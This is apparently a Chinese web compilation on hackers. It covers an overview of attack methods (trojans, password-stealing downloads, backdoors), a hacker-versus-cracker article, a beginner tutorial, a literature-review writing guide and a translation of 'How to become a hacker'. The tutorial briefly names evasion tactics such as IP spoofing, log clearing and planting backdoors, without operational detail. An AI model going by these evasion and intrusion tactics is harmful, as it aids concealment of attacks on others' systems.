“特洛伊木马程序”技术是黑客常用的攻击手段。它通过在你的电脑系统隐藏一个会在Windows启动时运行的程序,采用服务器/客户机的运行方式,从而达到在上网时控制你电脑的目的。黑客利用它窃取你的口令、浏览你的驱动器、修改你的文件、登录注册表等等,如流传极广的冰河木马,现在流行的很多病毒也都带有黑客性质,如影响面极广的“Nimda”、“求职信”和“红色代码”及“红色代码II”等。攻击者可以佯称自己为系统管理员(邮件地址和系统管理员完全相同),将这些东西通过电子邮件的方式发送给你。如某些单位的网络管理员会定期给用户免费发送防火墙升级程序,这些程序多为可执行程序,这就为黑客提供了可乘之机,很多用户稍不注意就可能在不知不觉中遗失重要信息。
四、诱入法
黑客编写一些看起来“合法”的程序,上传到一些FTP站点或是提供给某些个人主页,诱导用户下载。当一个用户下载软件时,黑客的软件一起下载到用户的机器上。该软件会跟踪用户的电脑操作,它静静地记录着用户输入的每个口令,然后把它们发送给黑客指定的Internet信箱。例如,有人发送给用户电子邮件,声称为“确定我们的用户需要”而进行调查。作为对填写表格的回报,允许用户免费使用多少小时。但是,该程序实际上却是搜集用户的口令,并把它们发送给某个远方的“黑客”。
五、寻找系统漏洞
许多系统都有这样那样的安全漏洞(Bugs),其中某些是操作系统或应用软件本身具有的,如Sendmail漏洞,Windows98中的共享目录密码验证漏洞和IE5漏洞等,这些漏洞在补丁未被开发出来之前一般很难防御黑客的破坏,除非你不上网。还有就是有些程序员设计一些功能复杂的程序时,一般采用模块化的程序设计思想,将整个项目分割为多个功能模块,分别进行设计、调试,这时的后门就是一个模块的秘密入口。在程序开发阶段,后门便于测试、更改和增强模块功能。正常情况下,完成设计之后需要去掉各个模块的后门,不过有时由于疏忽或者其他原因(如将其留在程序中,便于日后访问、测试或维护)后门没有去掉,一些别有用心的人会利用专门的扫描工具发现并利用这些后门,然后进入系统并发动攻击。
现在,你该知道黑客惯用的一些攻击手段了吧?当我们对黑客们的这些行为有所了解后,就能做到“知己知彼,百战不殆”,从而更有效地防患于未然,拒黑客于“机”外。网络的开放性决定了它的复杂性和多样性,随着技术的不断进步,各种各样高明的黑客还会不断诞生,同时,他们使用的手段也会越来越先进。我们惟有不断提高个人的安全意识,再加上必要的防护手段,斩断黑客的黑手。相信通过大家的努力,黑客们的舞台将会越来越小,个人用户可以高枕无忧地上网冲浪,还我们一片宁静的天空
求关于黑客的内容!英文的也行,写作文用!谢谢!
Have you ever heard Kevin Mitnick?
You should know him, go to the website www.KevinMitnick.com.
黑客与骇客
来源:中华网科技(2005-12-12)
常在电影中看到这样的镜头:一个电脑高手坐在电脑前,敲上几下键盘,然后大叫一声,一切网站重地或是被侵入,或是被篡改。看上去真是“风光无限”,特别是在近来“被黑”事件频频发生,一时间“黑客”一词被大家传得神而又神。
到底什么是“黑客”
一般我们管那些非法侵入他人网站,通过网络偷看他人电脑信息,篡改他人网站或硬盘内容的捣乱者叫“Cracker”,简单地说,就是专门闯入电脑系统搞破坏的人。那么他们是不是我们所说的“黑客”呢?其实不然。
“黑客”的英文应是“Hacker”,原意是“开辟、开创”之意,也就是说“黑客”应该是开辟道路的人。而我们所说的“Cracker”(中文:骇客)的意思则是“解密、破译”之意。但由于目前这两个词语已经被普遍混用为“黑客”,所以我们再强调什么“黑客和骇客”早已无任何实际意义了。但为了给大家一个全面的认识,我们来简单看看历史背景。
黑客的叫法起源于20世纪70年代麻省理工学院的实验室,源于一种共享的网络精神。当时这里聚集了大批的高科技人才,他们精通计算机科学及相关的科学,以工作为生活的乐趣,以科学成就来评定自身的价值,随着时光推进,他们逐渐形成了一种独特的文化,就是黑客文化。主要表现是天才们将自己的技术运用到了商业生产中,但企业家或普通用户使用与推广都是免费的,无需向研究者付钱(企业可以向实验提供一些赞助)。黑客通过网络,将自己开发的软件免费提供给大家使用,像我们熟知的许多免费软件都是由这个新时代的黑客(当然,现在黑客一词已被歪曲)开发的,如Linux、 Winamp。
我们今天常说的“黑客”应被叫做骇客。骇客是些什么人呢?答案很简单:他们是我们常说的“信息大盗”,这些人专门从事破译密码的活动。骇客是一个很神秘的群体,他们行动诡秘,不轻易向人说明自己的身份。由于这种神秘性,使得很多人想去了解他们,可是,正如世界上很多事物一样,不了解可能反而安全。这些骇客组织很多都抱着一些非法的目的,他们秘密联络,经常破坏一些合法网站,给网络带来非常多的问题,甚至有的骇客组织居然敢公然利用本身的技术来和政府对抗。总的说来,骇客行为不是什么好的行为,虽然有些人对此感到冤枉,就目前看来,骇客除了进行系统破坏以外,似乎没有做出什么对计算机发展有利的事情来。这恐怕是黑客和骇客最大、最根本的区别。
“骇客”都是些什么人
可能有许多人都会有这样的疑问——骇客是些什么人?他们破坏别人的网站有什么好处呢?
骇客并不固定是些什么人,我们每个人都有可能成为骇客,只要你知道一些相关网络与计算机知识就可以(当然要是高手)。我有位朋友对我说过:“别以为骇客都是轻纱蒙面昼伏夜出的强人,没准儿胡同口送酸奶的小张下了班回家顺便就能将某个ISP的主页黑一把;也别以为骇客都是五大三粗横眉立目的爷们儿,说不定昨天炸毁××总统电子信箱的就是在隔壁大妈家租房的白领小姐。”
骇客的行为不能以我们正常的眼光去评价,至于像那些抱着笔记本钻进股票交易所去玩地道战的人实在与骇客半点边都沾不上,而那些侵入别人的电脑盗窃信息的也只是骇客中极少的一部分。千万别小看了骇客,不知朋友们看过电影《独立日》了吗?其中,大炮、导弹、核武器纷纷失灵,最后还是靠骇客上载的计算机病毒要了全体外星人的小命。
死抱传统的黑客逐渐减少,越来越多的黑客开始学会与商业社会融合,他们的技术展示更像是作“秀”,攻击服务器的行为是为了获得一种“技术认证”,将来自己开办网络安全公司的时候才多几分招揽客户的筹码。有的干脆就直接与一些公司合作,接受“招安”,将自己的技术变成财富。
黑客要知道些什么基本知识?
一、学习技术:
互联网上的新技术一旦出现,黑客就必须立刻学习,并用最短的时间掌握这项技术,这里所说的掌握并不是一般的了解,而是阅读有关的“协议”(rfc)、深入了解此技术的机理,否则一旦停止学习,那么依靠他以前掌握的内容,并不能维持他的“黑客身份”超过一年。
初级黑客要学习的知识是比较困难的,因为他们没有基础,所以学习起来要接触非常多的基本内容,然而今天的互联网给读者带来了很多的信息,这就需要初级学习者进行选择:太深的内容可能会给学习带来困难;太“花哨”的内容又对学习黑客没有用处。所以初学者不能贪多,应该尽量寻找一本书和自己的完整教材、循序渐进的进行学习。
二、伪装自己:
黑客的一举一动都会被服务器记录下来,所以黑客必须伪装自己使得对方无法辨别其真实身份,这需要有熟练的技巧,用来伪装自己的IP地址、使用跳板逃避跟踪、清理记录扰乱对方线索、巧妙躲开防火墙等。
伪装是需要非常过硬的基本功才能实现的,这对于初学者来说成的上“大成境界”了,也就是说初学者不可能用短时间学会伪装,所以我并不鼓励初学者利用自己学习的知识对网络进行攻击,否则一旦自己的行迹败露,最终害的害是自己。
如果有朝一日你成为了真正的黑客,我也同样不赞成你对网络进行攻击,毕竟黑客的成长是一种学习,而不是一种犯罪。
三、发现漏洞:
漏洞对黑客来说是最重要的信息,黑客要经常学习别人发现的漏洞,并努力自己寻找未知漏洞,并从海量的漏洞中寻找有价值的、可被利用的漏洞进行试验,当然他们最终的目的是通过漏洞进行破坏或着修补上这个漏洞。
黑客对寻找漏洞的执著是常人难以想象的,他们的口号说“打破权威”,从一次又一次的黑客实践中,黑客也用自己的实际行动向世人印证了这一点--世界上没有“不存在漏洞”的程序。在黑客眼中,所谓的“天衣无缝”不过是“没有找到”而已。
四、利用漏洞:
对于正派黑客来说,漏洞要被修补;对于邪派黑客来说,漏洞要用来搞破坏。而他们的基本前提是“利用漏洞”,黑客利用漏洞可以做下面的事情:
1、获得系统信息:有些漏洞可以泄漏系统信息,暴露敏感资料,从而进一步入侵系统;
2、入侵系统:通过漏洞进入系统内部,或取得服务器上的内部资料、或完全掌管服务器;
3、寻找下一个目标:一个胜利意味着下一个目标的出现,黑客应该充分利用自己已经掌管的服务器作为工具,寻找并入侵下一个系统;
4、做一些好事:正派黑客在完成上面的工作后,就会修复漏洞或者通知系统管理员,做出一些维护网络安全的事情;
5、做一些坏事:邪派黑客在完成上面的工作后,会判断服务器是否还有利用价值。如果有利用价值,他们会在服务器上植入木马或者后门,便于下一次来访;而对没有利用价值的服务器他们决不留情,系统崩溃会让他们感到无限的快感!
第二节、黑客应掌握的基本技能
从这一节开始,我们就真正踏上学习黑客的道路了,首先要介绍的是作为一名初级黑客所必须掌握的基本技能,学习这可以通过这一节的阅读了解到黑客并不神秘,而且学习起来很容易上手。为了保证初学者对黑客的兴趣,所以本书采取了循环式进度,也就是说每一章节的内容都是独立、全面的,学习者只有完整的学习过一章的内容,才能够进而学习下一章的内容。
一、了解一定量的英文:
学习英文对于黑客来说非常重要,因为现在大多数资料和教程都是英文版本,而且有关黑客的新闻也是从国外过来的,一个漏洞从发现到出现中文介绍,需要大约一个星期的时间,在这段时间内网络管理员就已经有足够的时间修补漏洞了,所以当我们看到中文介绍的时候,这个漏洞可能早就已经不存在了。因此学习黑客从一开始就要尽量阅读英文资料、使用英文软件、并且及时关注国外著名的网络安全网站。
二、学会基本软件的使用:
这里所说的基本软件是指两个内容:一个是我们日常使用的各种电脑常用命令,例如ftp、ping、net等;另一方面还要学会有关黑客工具的使用,这主要包括端口扫描器、漏洞扫描器、信息截获工具和密码破解工具等。因为这些软件品种多,功能各不相同,所以本书在后面将会介绍几款流行的软件使用方法,学习者在掌握其基本原理以后,既可以选择适合自己的,也可以在“第二部分”中找到有关软件的开发指南,编写自己的黑客工具。
三、初步了解网络协议和工作原理:
所谓“初步了解”就是“按照自己的理解方式”弄明白网络的工作原理,因为协议涉及的知识多且复杂,所以如果在一开始就进行深入研究,势必会大大挫伤学习积极性。在这里我建议学习者初步了解有关tcp/ip协议,尤其是浏览网页的时候网络是如何传递信息、客户端浏览器如何申请“握手信息”、服务器端如何“应答握手信息”并“接受请求”等内容,此部分内容将会在后面的章节中进行具体介绍。
四、熟悉几种流行的编程语言和脚本:
同上面所述一样,这里也不要求学习者进行深入学习,只要能够看懂有关语言、知道程序执行结果就可以了。建议学习者初步学习C语言、asp和cgi脚本语言,另外对于htm超文本语言和php、java等做基本了解,主要学习这些语言中的“变量”和“数组”部分,因为语言之间存在内在联系,所以只要熟练掌握其中一们,其他语言也可以一脉相同,建议学习C语言和htm超文本语言。
五、熟悉网络应用程序:
网络应用程序包括各种服务器软件后台程序,例如:wuftp、Apache等服务器后台;还有网上流行的各种论坛、电子社区。有条件的学习者最好将自己的电脑做成服务器,然后安装并运行一些论坛代码,经过一番尝试之后,将会感性的弄清楚网络工作原理,这比依靠理论学习要容易许多,能够达到事半功倍的效果
/本篇文章来源于 新贵网 原文出处:http://www.2xg.cn/?dp-bbsthread-67435.html
想写一个关于黑客的文献综述,不知道有哪些研究方向
你的文献综述具体准备往哪个方向写,题目老师同意了没,具体有要求要求,需要多少字呢?
你可以告诉我具体的排版格式要求,文献综述想写好,先要在图书馆找好相关资料,确定好题目与写作方向。老师同意后在下笔,还有什么不了解的可以直接问我,希望可以帮到你,祝写作过程顺利。
第一:什么是文献综述;
第二:为什么要写文献综述;(文献综述对我们有什么好处)
第三:文献综述怎样写;(怎样才能写好文献综述)
第四:写文献综述要注意哪些事项。
一 什么是文献综述;
具体地说,文献就是将知识、信息用文字、符号、图像、音频等记录在一定的物质载体上的结合体。由此定义我们可以看出,文献具有三个基本属性,即文献的知识性、记录性和物质性。它具有存贮知识、传递和交流信息的功能。
综述是作者在博览群书的基础上,综合地介绍和评述某学科领域国内外研究成果和发展趋势,并表明作者自己的观点,对今后的发展进行预测,对有关问题提出中肯意见或建议的论文。
所谓的文献综述即是文献综合评述的简称,即在对某一方面的专题、资料全面搜集、阅读大量与你所研究的课题有关的研究文献的基础上,经过归纳整理、分析鉴别,对你所研究的问题(比如说学科或者是专题)在一定时期内已经取得的研究成果、存在的问题以及新的发展趋势等进行系统、全面的叙述和评论。
它是一种学术论文,也是科学文献的一种。文献综述是反映当前某一领域中某分支学科或重要专题的最新进展、学术见解和建议的。它往往能反映出有关问题的新动态、新趋势、新水平、新原理和新技术等等。
总之,文献综述就是对文献的综合与评述,是作者对某一方面问题的历史背景、前人工作、争论焦点、研究现状和发展前景等内容进行评论的科学性论文。
二:为什么要写文献综述;
(文献综述对我们有什么好处)
因为文献综述在科技论文和毕业论文、硕士、博士论文的协作中也占据着重要地位,它是论文中的一个重要章节。文献综述的好坏直接关系到论文的成功与否。
写文献综述对我们有什么好处
(1)有利于更新专业知识、扩大了知识面。
文献综述能够反映当前某一领域或某一专题的演变规律、最新进展、学术见解和发展趋势,它的主题新颖、资料全面、内容丰富、信息浓缩。因此,不论是撰写还是阅读文献综述,都可以了解有关领域的新动态、新技术、新成果,不断更新知识,提高业务水平。通过搜集文献资料过程,可进一步熟悉科学文献的查找方法和资料的积累方法;在查找的过程中同时也进一步的扩大了自己的知识面.
(2)有利于选择科研方向。
综述通过对新成果、新方法、新技术、新观点的综合分析和评述, 查找文献资料、写文献综述是科研选题及进行科研的第一步,能够帮助科技人员发现和选取新的科研课题,避免重复,因此写文献综述也是为今后科研活动打基础的过程。
(3)有利于查阅相关资料。
由于科学技术的迅速发展,每时每刻都有大量的文献产生,要全部阅读这些文献,时间和经历都是不够的,通过阅读综述,可以在较短的时间内了解有关领域的发展情况、发展趋势,节省大量的时间。
总之这三个就有利于提高你的独立工作能力和科研能力。
三、文献综述应该怎样写;
(怎样才能写好文献综述)
我们要写文献综述那么我们首先要准备材料和选题
准备材料和选题
材料的准备 收集的材料(主要是相关课题的最近3~5年的原始文献和自己岗位工作上的研究成果)往往是写好综述的关键,这与“巧妇难为无米之炊”是一个道理。这些材料的内容,作者应重点收集的是结合自己的专业、选择你自己熟悉的和喜爱的,不要盲目收集没用的材料。材料收集越多越好越新越好,最好是有专业学者最近所写的综述性文献。
收集材料的方法和初步处理材料
首先是手工检索,即将自己阅读专业期刊上相关文献做成读书笔记卡片,日积月累;二是电脑检索,就是利用电脑联机检索,按主题词查找你需要的文献。在动手撰写综述时,假如资料不够的话还可以再寻找补充。
一、选题和搜集阅读文献选定题目后,那么就要围绕题目进行搜集与文题有关的文献。搜集文献的方法很多。
搜集文献要求越全越好,因此最常用的方法是用检索法。搜集好与文题有关的参考文献后,就要对这些参考文献进行阅读、归纳、整理,如何从这些文献中选出具有代表性、科学性和可行性大的单篇研究文献十分重要,从某种意义上讲,所阅读和选择的文献的质量高低,直接影响文献综述的水平。因此在阅读文献时,要写好“读书笔记”、“读书心得”和做好“文献摘录卡片”。用自己的语言写下阅读时得到的启示、体会和想法,将文献的精髓摘录下来,这样不仅为写综述时提供有用的资料,而且对于训练自己的表达能力,阅读水平都有好处,特别是将文献整理成文献摘录卡片,对写文献综述极为有利。
我们选好题搜集和查阅了大量文献后呢,就要开始写文献综述了
二、格式与写法
文献综述的格式与一般研究性论文的格式有所不同。这是因为研究性的论文注重研究的方法和结果,而文献综述要求向读者介绍与主题有关的详细资料、动态、进展、展望以及对以上方面的评述。因此文献综述的格式相对多样,但总的来说,一般都包含以下四部分:那就是:前言、主题、总结和参考文献。撰写文献综述时可按这四部分拟写提纲,再根据提纲来写。
前言部分,主要是说明写作的目的,介绍有关的概念及定义以及综述的范围,扼要说明有关主题的现状或争论焦点,使读者对全文要叙述的问题有一个初步的轮廓。
主题部分,是综述的主体,其写法多样,没有固定的格式。可按年代顺序综述,也可按不同的问题进行综述,还可按不同的观点进行比较综述,不管用那一种格式综述,都要将所搜集到的文献资料归纳、整理及分析比较,阐明有关主题的历史背景、现状和发展方向,以及对这些问题的评述,主题部分应特别注意代表性强、具有科学性和创造性的文献引用和评述。
总结部分,与研究性论文的小结有些类似,将全文主题进行扼要总结,对所综述的主题有研究的作者,最好能提出自己的见解。
参考文献虽然放在文末,但却是文献综述的重要组成部分。因为它不仅表示对被引用文献作者的尊重及引用文献的依据,而且为读者深入探讨有关问题提供了文献查找线索。因此,应认真对待。参考文献的编排应条目清楚,查找方便,内容准确无误。关于参考文献的使用方法,录著项目及格式与研究论文相同,不再重复。
四、注意事项
⒈搜集文献应尽量全。
掌握全面、大量的文献资料是写好综述的前提,否则,随便搜集一点资料就动手撰写是不可能写出好多综述的,甚至写出的文章根本不成为综述。
⒉注意引用文献的代表性、可读性和科学性。
在搜集到的文献中可能出现观点雷同,有的文献在可读性及科学性方面存在着差异,因此在引用文献时应注意选用代表性、可读性和科学性较好的文献。
⒊引用文献要忠实文献内容。
由于文献综述有作者自己的评论分析,因此在撰写时应分清作者的观点和文献的内容,不能篡改文献的内容。
⒋参考文献不能省略。
有的科研论文可以将参考文献省略,但文献综述绝对不能省略,而且应是文中引用过的,能反映主题全貌的并且是作者直接阅读过的文献资料。
总之,一篇好的文献综述,应有较完整的文献资料,有评论分析,并能准确地反映主题内容。
但是,大部分的人在写文献综述时往往容易犯错误:
1.先写文章再写文献综述。
之所以会犯这种错误,在于没有充分认识到文献综述的作用和意义,认为写文献综述只是形式而已,所以往往是先把文章写了,再综合文章中用到的一些参考文献的观点回过头来写文献综述。
2.文蔽综述的标题、结构与文章的标题、结构都是一样的。
很多同学并没有掌握文献综述的写法,主观地认为文献综述就是对自己所写的文章的一个简要的介绍,因此,往往造成文献综述的标题结构与文章的标题结构一样。
3.大量罗列堆砌文章。
误以为文献综述的目的是显示对其他相关研究的了解程度,结果导致很多同学在写文献综述时不是以研究的问题为中心来展示,而是写成了读书心得清单。
4.选择性地探讨文献。
很多同学为了“证明”自己的研究是创新的研究,于是有意识地抛弃一些与之相关的文献,而不是系统化地回顾现有的研究文献,找出适合研究的问题或可预测的假设。如果是这样选择文献的话,那么文献综述不就成了写作者主观愿望的反映,成了一种机会性的回顾,这显然是不合理的。
要注意的事项就是这么多,在这里我也相信只要大家作到了了我上所说的那些,那么你所写的文献综述一定是一篇好文章!!
文献综述
“黑客”一词怎么来的?什么样的人能叫做黑客?
---什么是黑客?
Jargon File中对“黑客”一词给出了很多个定义,大部分定义都涉及高超的编程技术,强烈的解决问题和克服限制的欲望。如果你想知道如何成为一名黑客,那么好,只有两方面是重要的。(态度和技术)
长久以来,存在一个专家级程序员和网络高手的共享文化社群,其历史可以追溯到几十年前第一台分时共享的小型机和最早的ARPAnet实验时期。 这个文化的参与者们创造了“黑客”这个词。 黑客们建起了Internet。黑客们使Unix操作系统成为今天这个样子。黑客们搭起了Usenet。黑客们让WWW正常运转。如果你是这个文化的一部分,如果你已经为它作了些贡献,而且圈内的其他人也知道你是谁并称你为一个黑客,那么你就是一名黑客。
黑客精神并不仅仅局限于软件黑客文化圈中。有些人同样以黑客态度对待其它事情如电子和音乐---事实上,你可以在任何较高级别的科学和艺术中发现它。软件黑客们识别出这些在其他领域同类并把他们也称作黑客---有人宣称黑客实际上是独立于他们工作领域的。 但在本文中,我们将注意力集中在软件黑客的技术和态度,以及发明了“黑客”一词的哪个共享文化传统之上。
另外还有一群人,他们大声嚷嚷着自己是黑客,实际上他们却不是。他们是一些蓄意破坏计算机和电话系统的人(多数是青春期的少年)。真正的黑客把这些人叫做“骇客”(cracker),并不屑与之为伍。多数真正的黑客认为骇客们是些不负责任的懒家伙,还没什么大本事。专门以破坏别人安全为目的的行为并不能使你成为一名黑客, 正如拿根铁丝能打开汽车并不能使你成为一个汽车工程师。不幸的是,很多记者和作家往往错把“骇客”当成黑客;这种做法激怒真正的黑客。
根本的区别是:黑客们建设,而骇客们破坏。
如果你想成为一名黑客,继续读下去。如果你想做一个骇客,去读 alt.2600 新闻组,并在发现你并不像自己想象的那么聪明的时候去坐5到10次监狱。 关于骇客,我只想说这么多。
---黑客的态度
黑客们解决问题,建设事物,信仰自由和双向的帮助,人人为我, 我为人人。
要想被认为是一名黑客,你的行为必须显示出你已经具备了这种态度。要想做的好象你具备这种态度,你就不得不真的具备这种态度。但是如果你想靠培养黑客态度在黑客文化中得到承认,那就大错特错了。因为成为具备这些特质的这种人对你自己非常重要,有助于你学习,并给你提供源源不断的活力。同所有有创造性的艺术一样,成为大师的最有效方法就是模仿大师的精神---不是仅从理智上,更要从感情上进行模仿。
So,如果你想做一名黑客,请重复以下事情直到你相信它们:
1 这世界充满待解决的迷人问题
做一名黑客有很多乐趣,但却是些要费很多气力方能得到的乐趣。 这些努力需要动力。成功的运动员从健壮体魄,挑战自我极限中汲取动力。同样,做黑客,你必须
要有从解决问题,磨练技术,锻炼智力中得到基本的热望。如果你还不是这类人又想做黑客,你就要设法成为这样的人。否则你会发现,你的黑客热情会被其他诱惑无情地吞噬掉---如金钱、性和社会上的虚名。
(同样你必须对你自己的学习能力建立信心---相信尽管你对某问题所知不多,但如果你一点一点地学习、试探,你最终会掌握并解决它。)
2. 一个问题不应该被解决两次
聪明的脑瓜是宝贵的,有限的资源。当这个世界还充满其他有待解决的有趣问题之时,他们不应该被浪费在重新发明轮子这些事情上。 作为一名黑客,你必须相信其他黑客的思考时间是宝贵的---因此共享信息,解决问题并发布结果给其他黑客几乎是一种道义,这样其他人就可以去解决新问题而不是重复地对付旧问题。
(你不必认为你一定要把你的发明创造公布出去,但这样做的黑客是赢得大家尊敬最多的人。卖些钱来给自己养家糊口,买房买车买计算机甚至发大财和黑客价值也是相容的,只要你别忘记你还是个黑客。)
3. 无聊和乏味的工作是罪恶
黑客们应该从来不会被愚蠢的重复性劳动所困扰,因为当这种事情发生时就意味着他们没有在做只有他们才能做的事情---解决新问题。这样的浪费伤害每一个人。因此,无聊和乏味的工作不仅仅是令人不舒服而已,它们是极大的犯罪。 要想做的象个黑客,你必须完全相信这点并尽可能多地将乏味的工作自动化,不仅为你自己,也为了其他人(尤其是其他黑客们)。
(对此有一个明显的例外。黑客们有时也做一些重复性的枯燥工作以进行“脑力休息”,或是为练熟了某个技巧,或是获得一些除此无法获得的经验。但这是他自己的选择---有脑子的人不应该被迫做无聊的活儿。)
4 自由就是好
黑客们是天生的反权威主义者。任何能向你发命令的人会迫使你停止解决令你着迷的问题,同时,按照权威的一般思路,他通常会给出一些极其愚昧的理由。因此,不论何时何地,任何权威,只要他压迫你或其他黑客,就要和他斗到底。
(这并非说任何权力都不必要。儿童需要监护,罪犯也要被看管起来。 如果服从命令得到某种东西比起用其他方式得到它更节约时间,黑客会同意接受某种形式的权威。但这是一个有限的、特意的交易;权力想要的那种个人服从不是你的给予,而是无条件的服从。)
权力喜爱审查和保密。他们不信任自愿的合作和信息共享---他们只喜欢由他们控制的合作。因此,要想做的象个黑客,你得对审查、保密,以及使用武力或欺骗去压迫人们的做法有一种本能的反感和敌意。
5. 态度不能替代能力
要做一名黑客,你必须培养起这些态度。但只具备这些态度并不能使你成为一名黑客,就象这并不能使你成为一个运动健将和摇滚明星一样。成为一名黑客需要花费智力,实践,奉献和辛苦。
因此,你必须学会不相信态度,并尊重各种各样的能力。黑客们不会为那些故意装模做样的人浪费时间,但他们却非常尊重能力---尤其是做黑客的能力,不过任何能力总归是好的。具备很少人才能掌握的技术方面的能力尤其为好,而具备那些涉及脑力、技巧和聚精会神的能力为最好。
如果你尊敬能力,你会享受提高自己能力的乐趣---辛苦的工作和奉献会变成一种高度娱乐而非贱役。 要想成为一名黑客,这一点非常重要。
---基本黑客技术
黑客态度是重要的,但技术更加重要。态度无法替代技术,在你被别的黑客称为黑客之前,有一套基本的技术你必须掌握。 这套基本技术随着新技术的出现和老技术的过时也随时间在缓慢改变。例如,过去包括使用机器码编程,而知道最近才包括了HTML语言。但现在明显包括以下技术:
1 学习如何编程
这当然是最基本的黑客技术。如果你还不会任何计算机语言,我建议你从Python开始。它设计清晰,文档齐全,对初学者很合适。尽管是一门很好的初级语言,它不仅仅只是个玩具。它非常强大,灵活,也适合做大型项目。
但是记住,如果你只会一门语言,你将不会达到黑客所要求的技术水平,甚至也不能达到一个普通程序员的水平---你需要学会如何以一个通用的方法思考编程问题,独立于任何语言。要做一名真正的黑客,你需要学会如何在几天内通过一些手册,结合你现在所知,迅速掌握一门新语言。这意味着你应该学会几种不同的语言。
如果要做一些重要的编程,你将不得不学习C语言,Unix的核心语言。其他对黑客而言比较重要的语言包括Perl和LISP。 Perl很实用,值得一学;它被广泛用于活动网页和系统管理,因此即便你从不用Perl写程序,至少也应该能读懂它。 LISP 值得学习是因为当你最终掌握了它你会得到丰富的经验;这些经验使你在以后的日子里成为一个更好的程序员,即使你实际上可能很少使用LISP本身。
当然,实际上你最好四种都会。 (Python, C, Perl, and LISP). 除了是最重要的四种基本语言,它们还代表了四种非常不同的编程方法,每种都会让你受益非浅。
这里我无法完整地教会你如何编程---这是个复杂的活儿。但我可以告诉你,书本和课程也不能作到。几乎所有最好的黑客都是自学成材的。真正能起作用的就是去亲自读代码和写代码。
学习如何编程就象学习用自然语言写作一样。最好的做法是读一些大师的名著,试着自己写点东西,再读些,再写点,又读些,又写点....如此往复,直到你达到自己在范文中看到的简洁和力量。
过去找到好的代码去读是困难的,因为很少有大型程序的可用源代码能让新手练手。这种状况已经得到了很大的改善;现在有很多可用的开放源码软件,编程工具和操作系统(全都有黑客写成)。这使我们自然地来到第二个话题...
2 得到一个开放源码的Unix并学会使用、运行它
我假设你已经拥有了一台个人计算机或者有一个可用的( 今天的孩子们真幸福 :-) )。新手们最基本的一步就是得到一份Linux或BSD-Unix,安装在个人计算机上,并运行它。
当然,这世界上除了Unix还有其他操作系统。但它们都是以二进制形式发送的---你无法读到它的源码,更不可能修改它。尝试在DOS或Windows的机器上学习黑客技术,就象是在腿上绑了铁块去学跳舞。
除此之外,Unix还是Internet的操作系统。你可以不知道Unix而学会用Internet,但不懂它你就无法成为一名Internet黑客。因为这个原因,今天的黑客文化在很大程度上是以Unix为中心的。(这点并不总是真的,一些很早的黑客对此很不高兴,但Unix和Internet之间的共生关系已是如此之强,甚至连微软也无可奈何)
So,装一个Unix---我个人喜欢Linux,不过也有其他选择。(你也可以在同一台机器上同时运行DOS,Windows和Linux)学会它。运行它。用它跟Internet对话。读它的代码。试着去修改他。你会得到比微软操作系统上好的多的编程工具(包括C,Lisp, Python, and Perl),你会得到乐趣,并将学到比你想象的更多知识。
关于学习Unix的更多信息,请看 The Loginataka.
要得到Linux,请看: 哪里能得到 Linux.
3 学会如何使用WWW和写HTML
大多黑客文化建造的东西都在你看不见的地方发挥着作用,帮助工厂、办公室和大学正常运转,表面上很难看到它对他人的生活的影响。Web是一个大大的例外。即便政客也同意,这个巨大而耀眼的黑客玩具正在改变整个世界。单是这个原因(还有许多其它的), 你就需要学习如何掌握Web。
这并不是仅仅意味着如何使用浏览器(谁都会),而是要学会如何写HTML,Web的标记语言。如果你不会编程,写HTML会教你一些有助于学习的思考习惯。因此,先建起自己的主页。
但仅仅建一个主页也不能使你成为一名黑客。 Web里充满了各种网页。多数是无意义的,零信息量垃圾。
要想有价值,你的网页必须有内容---必须有趣或对其它黑客有用。这样,我们来到下一个话题....
---黑客文化中的地位
象大部分不涉及金钱的文化一样,黑客王国的运转靠声誉维护。你设法解决有趣的问题,但它们到底多有趣,你的解法有多好,是要有那些和你具有同样技术水平的人或比你更牛的人去评判的。
相应地,当你在玩黑客游戏时,你知道,你的分数要靠其他黑客对你的技术的评估给出。(这就是为什么只有在其它黑客称你为黑客是,你才算得上是一名黑客)这个事实常会被黑客是一项孤独的工作这一印象所减弱;它也会被另一个黑客文化的禁忌所减弱(此禁忌的效力正在减弱但仍很强大):拒绝承认自我或外部评估是一个人的动力。
特别地,黑客王国被人类学家们称为一种精英文化。在这里你不是凭借你对别人的统治来建立地位和名望,也不是靠美貌,或拥有其他人想要的东西,而是靠你的奉献。尤其是奉献你的时间,你的才智和你的技术成果。
要获得其他黑客的尊敬,你可以做以下五种事情:
1. 写开放源码的软件
第一个(也是最基本和传统的)是写些被其他黑客认为有趣或有用的程序,并把程序的原代码公布给大家共享。
(过去我们称之为“自由软件-free software”,但这却使很多不知free的精确含义的人感到不解。现在我们很多人使用“开放源码-open source”这个词)
黑客王国里最受尊敬的大牛们是那些写了大型的、具有广泛用途的软件,并把它们公布出去,使每人都在使用他的软件的人。
2. 帮助测试并修改开放源码的软件
黑客们也尊敬也那些使用、测试开放源码软件的人。在这个并非完美的世界上,我们不可避免地要花大量软件开发的时间在测试和抓臭虫阶段。 这就是为什么任何开放源码的作者稍加思考后都会告诉你好的beta测试员象红宝石一样珍贵。 (他知道如何清楚描述出错症状,很好地定位错误,能忍受快速发布的软件中的bug,愿意使用一些简单的诊断工具) 甚至他们中的一个能判断出哪个测试阶段是延长的、令人精疲力尽的噩梦,哪个只是一个有益健康的玩意儿。
如果你是个新手,试着找一个赶兴趣的正在开发的程序,作一个好的beta测试员。从帮着测试,到帮着抓臭虫,到最后帮着改程序,你会不断进步。以后你写程序时,会有别人来帮你,你就得到了你当初善举的回报。
3. 公布有用的信息
另一个好事是收集整理网页上有用有趣的信息或文档如FAQ。许多主要FAQ的维护者和其他开放源码的作者一样受到大家的尊敬。
4. 帮助维护基础设施的运转
黑客文化是靠自愿者运转的。要使Internet能正常工作,就要有大量枯燥的工作不得不去完成----管理mail list,newsgroup,维护大量文档,开发RFC和其它技术标准等等。做这类事情的人会得到很多人的尊敬,因为每人都知道这些事情是耗时耗力的苦役,不象编码那样好玩。做这些事情需要毅力。
5. 为黑客文化本身服务
最后,你可以为这个文化本身服务(例如象我这样,写一个“如何成为黑客”的初级教程 :-) )(hehe,象我这样把它翻成中文 :-) ) 这并非一定要在你已经在这里呆了很久,精通所有以上4点,获得一定声誉后后才能去做。
黑客文化没有领袖。精确地说,它确实有些文化英雄和部落长者和历史学家和发言人。若你在这圈内呆的够长,你或许成为其中之一。
记住:黑客们不相信他们的部落长者的自夸的炫耀,因此很明显地去追求这种名誉是危险的。你必须具备基本的谦虚和优雅。
---黑客和怪人(Nerd)的联系
